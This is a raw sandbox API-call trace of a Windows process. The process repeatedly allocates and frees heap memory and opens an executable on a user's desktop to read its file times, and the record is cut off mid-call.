GetCurrentThreadId () returned 0x9b0 [0075.753] GetCurrentThreadId () returned 0x9b0 [0075.753] GetCurrentThreadId () returned 0x9b0 [0075.753] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3461ac8 | out: hHeap=0x2ad0000) returned 1 [0075.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.754] GetCurrentThreadId () returned 0x9b0 [0075.755] GetCurrentThreadId () returned 0x9b0 [0075.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d3b70 | out: hHeap=0x2ad0000) returned 1 [0075.755] GetCurrentThreadId () returned 0x9b0 [0075.755] GetCurrentThreadId () returned 0x9b0 [0075.755] GetCurrentThreadId () returned 0x9b0 [0075.755] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.755] GetFileType (hFile=0x2f4) returned 0x1 [0075.755] GetCurrentThreadId () returned 0x9b0 [0075.755] GetFileType (hFile=0x2f4) returned 0x1 [0075.755] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.755] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.755] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.755] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.756] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.756] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.756] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.756] GetLastError () returned 0x0 [0075.756] GetCurrentThreadId () returned 0x9b0 [0075.756] GetLastError () returned 0x0 [0075.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.756] GetLastError () returned 0x0 [0075.756] GetLastError () returned 0x0 [0075.756] GetCurrentThreadId () returned 0x9b0 [0075.756] GetLastError () returned 0x0 [0075.756] GetCurrentThreadId () returned 0x9b0 [0075.756] GetLastError () returned 0x0 [0075.756] GetLastError () returned 0x0 [0075.757] GetCurrentThreadId () returned 0x9b0 [0075.757] GetLastError () returned 0x0 [0075.757] GetCurrentThreadId () returned 0x9b0 [0075.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x157e) returned 0x33d3dc8 [0075.757] GetLastError () returned 0x0 [0075.757] GetLastError () returned 0x0 [0075.757] GetCurrentThreadId () returned 0x9b0 [0075.757] GetLastError () returned 0x0 [0075.757] GetCurrentThreadId () returned 0x9b0 [0075.757] GetLastError () returned 0x0 [0075.757] GetLastError () returned 0x0 [0075.757] GetCurrentThreadId () returned 0x9b0 [0075.757] GetLastError () returned 0x0 [0075.757] GetLastError () returned 0x0 [0075.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.757] CloseHandle (hObject=0x2f4) returned 1 [0075.758] GetLastError () returned 0x0 [0075.758] GetCurrentThreadId () returned 0x9b0 [0075.758] GetLastError () returned 0x0 [0075.758] GetLastError () returned 0x0 [0075.758] GetCurrentThreadId () returned 0x9b0 [0075.758] GetLastError () returned 0x0 [0075.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d5350 | out: hHeap=0x2ad0000) returned 1 [0075.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d6f28, Size=0x38a3) returned 0x33d6f28 [0075.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d3dc8 | out: hHeap=0x2ad0000) returned 1 [0075.758] GetCurrentThreadId () returned 0x9b0 [0075.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x576) returned 0x33da7d8 [0075.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c4) returned 0x3461ac8 [0075.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x277) returned 0x33dad58 [0075.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844e8, Size=0x20) returned 0x3028260 [0075.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a18e18 [0075.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19b98 [0075.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0580 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x325f6b0 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f6b0, Size=0xe8) returned 0x33d1b00 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1b00, Size=0x120) returned 0x2c374c0 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33db438 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33db438, Size=0x1a8) returned 0x3028af0 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028af0, Size=0x1f8) returned 0x2c30fc8 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30fc8, Size=0x250) returned 0x2ac5098 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2bed8 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bed8, Size=0x324) returned 0x2bab928 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab928, Size=0x3a4) returned 0x2ba8720 [0075.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x210) returned 0x33dbfe0 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba8720, Size=0x434) returned 0x31d31a0 [0075.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d31a0, Size=0x4d4) returned 0x325e288 [0075.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325e288 | out: hHeap=0x2ad0000) returned 1 [0075.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6f28 | out: hHeap=0x2ad0000) returned 1 [0075.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3570 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0075.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0075.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8308 [0075.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7d90 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7d90 | out: hHeap=0x2ad0000) returned 1 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.760] GetCurrentThreadId () returned 0x9b0 [0075.761] GetCurrentThreadId () returned 0x9b0 [0075.761] GetLastError () returned 0x0 [0075.761] GetLastError () returned 0x0 [0075.761] GetLastError () returned 0x0 [0075.761] GetLastError () returned 0x0 [0075.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844e8 | out: hHeap=0x2ad0000) returned 1 [0075.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb50 [0075.761] GetLastError () returned 0x0 [0075.761] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7b08, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.761] GetFileType (hFile=0x2f4) returned 0x1 [0075.761] GetLastError () returned 0x0 [0075.761] GetCurrentThreadId () returned 0x9b0 [0075.761] GetLastError () returned 0x0 [0075.761] GetFileType (hFile=0x2f4) returned 0x1 [0075.761] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b7b84 | out: lpFileInformation=0x9b7b84) returned 1 [0075.762] FileTimeToLocalFileTime (in: lpFileTime=0x9b7b98, lpLocalFileTime=0x9b7bc8 | out: lpLocalFileTime=0x9b7bc8) returned 1 [0075.762] FileTimeToSystemTime (in: lpFileTime=0x9b7bc8, lpSystemTime=0x9b7bb8 | out: lpSystemTime=0x9b7bb8) returned 1 [0075.762] FileTimeToLocalFileTime (in: lpFileTime=0x9b7b90, lpLocalFileTime=0x9b7bc8 | out: lpLocalFileTime=0x9b7bc8) returned 1 [0075.762] FileTimeToSystemTime (in: lpFileTime=0x9b7bc8, lpSystemTime=0x9b7bb8 | out: lpSystemTime=0x9b7bb8) returned 1 [0075.762] FileTimeToLocalFileTime (in: lpFileTime=0x9b7b88, lpLocalFileTime=0x9b7bc8 | out: lpLocalFileTime=0x9b7bc8) returned 1 [0075.762] FileTimeToSystemTime (in: lpFileTime=0x9b7bc8, lpSystemTime=0x9b7bb8 | out: lpSystemTime=0x9b7bb8) returned 1 [0075.762] GetLastError () returned 0x0 [0075.762] GetCurrentThreadId () returned 0x9b0 [0075.762] GetLastError () returned 0x0 [0075.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.762] GetLastError () returned 0x0 [0075.762] GetLastError () returned 0x0 [0075.762] GetCurrentThreadId () returned 0x9b0 [0075.762] GetLastError () returned 0x0 [0075.762] GetCurrentThreadId () returned 0x9b0 [0075.762] GetLastError () returned 0x0 [0075.762] GetLastError () returned 0x0 [0075.763] GetCurrentThreadId () returned 0x9b0 [0075.763] GetLastError () returned 0x0 [0075.763] GetCurrentThreadId () returned 0x9b0 [0075.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28bf) returned 0x33d1dc0 [0075.763] GetLastError () returned 0x0 [0075.763] GetLastError () returned 0x0 [0075.763] GetCurrentThreadId () returned 0x9b0 [0075.763] GetLastError () returned 0x0 [0075.763] GetCurrentThreadId () returned 0x9b0 [0075.763] GetLastError () returned 0x0 [0075.763] GetLastError () returned 0x0 [0075.763] GetCurrentThreadId () returned 0x9b0 [0075.763] GetLastError () returned 0x0 [0075.763] GetLastError () returned 0x0 [0075.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.763] CloseHandle (hObject=0x2f4) returned 1 [0075.763] GetLastError () returned 0x0 [0075.764] GetCurrentThreadId () returned 0x9b0 [0075.764] GetLastError () returned 0x0 [0075.764] GetLastError () returned 0x0 [0075.764] GetCurrentThreadId () returned 0x9b0 [0075.764] GetLastError () returned 0x0 [0075.764] GetLastError () returned 0x0 [0075.764] GetCurrentThreadId () returned 0x9b0 [0075.764] GetLastError () returned 0x0 [0075.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d4688 | out: hHeap=0x2ad0000) returned 1 [0075.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33df620, Size=0x65f8) returned 0x33df620 [0075.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1dc0 | out: hHeap=0x2ad0000) returned 1 [0075.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844e8, Size=0x20) returned 0x30283f0 [0075.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e60 [0075.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19b98 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0ad8 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x325f470 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f470, Size=0xe8) returned 0x33d1560 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1560, Size=0x120) returned 0x2c374c0 [0075.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x283) returned 0x33dc1f8 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33db000 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33db000, Size=0x1a8) returned 0x3028af0 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028af0, Size=0x1f8) returned 0x2c2ff88 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2ff88, Size=0x250) returned 0x2ac3d58 [0075.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x37e) returned 0x33d1dc0 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2b680 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b680, Size=0x324) returned 0x2babfb8 [0075.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2babfb8, Size=0x3a4) returned 0x33d2cc8 [0075.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x331) returned 0x33d4150 [0075.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d2cc8, Size=0x434) returned 0x31d17f0 [0075.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4cc) returned 0x33d4490 [0075.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7a7) returned 0x33d4968 [0075.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d17f0, Size=0x4d4) returned 0x325e288 [0075.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325e288 | out: hHeap=0x2ad0000) returned 1 [0075.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33df620 | out: hHeap=0x2ad0000) returned 1 [0075.766] GetCurrentThreadId () returned 0x9b0 [0075.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2498 [0075.766] GetCurrentThreadId () returned 0x9b0 [0075.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0075.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0075.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0075.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7b60 | out: hHeap=0x2ad0000) returned 1 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] GetCurrentThreadId () returned 0x9b0 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de848 [0075.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de848 | out: hHeap=0x2ad0000) returned 1 [0075.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de650 [0075.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de650, Size=0x18) returned 0x31838a0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0075.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] GetCurrentThreadId () returned 0x9b0 [0075.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84650 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84668 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84470 | out: hHeap=0x2ad0000) returned 1 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] GetCurrentThreadId () returned 0x9b0 [0075.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0075.769] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84680, Size=0x20) returned 0x30281c0 [0075.770] GetCurrentThreadId () returned 0x9b0 [0075.770] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x2a19250 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a199d8 [0075.770] GetCurrentThreadId () returned 0x9b0 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19968 [0075.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a199d8 | out: hHeap=0x2ad0000) returned 1 [0075.770] GetCurrentThreadId () returned 0x9b0 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20288 [0075.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84548 | out: hHeap=0x2ad0000) returned 1 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3226d58 [0075.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3226d58 | out: hHeap=0x2ad0000) returned 1 [0075.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283f0 [0075.770] GetCurrentThreadId () returned 0x9b0 [0075.770] GetLastError () returned 0x0 [0075.770] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] GetLastError () returned 0x0 [0075.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283f0 | out: hHeap=0x2ad0000) returned 1 [0075.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0075.772] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x78) returned 0x31dd5c0 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844e8 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.772] GetCurrentThreadId () returned 0x9b0 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb70 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84668 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0075.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31dd5c0 | out: hHeap=0x2ad0000) returned 1 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183860 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183920 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846e0 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, 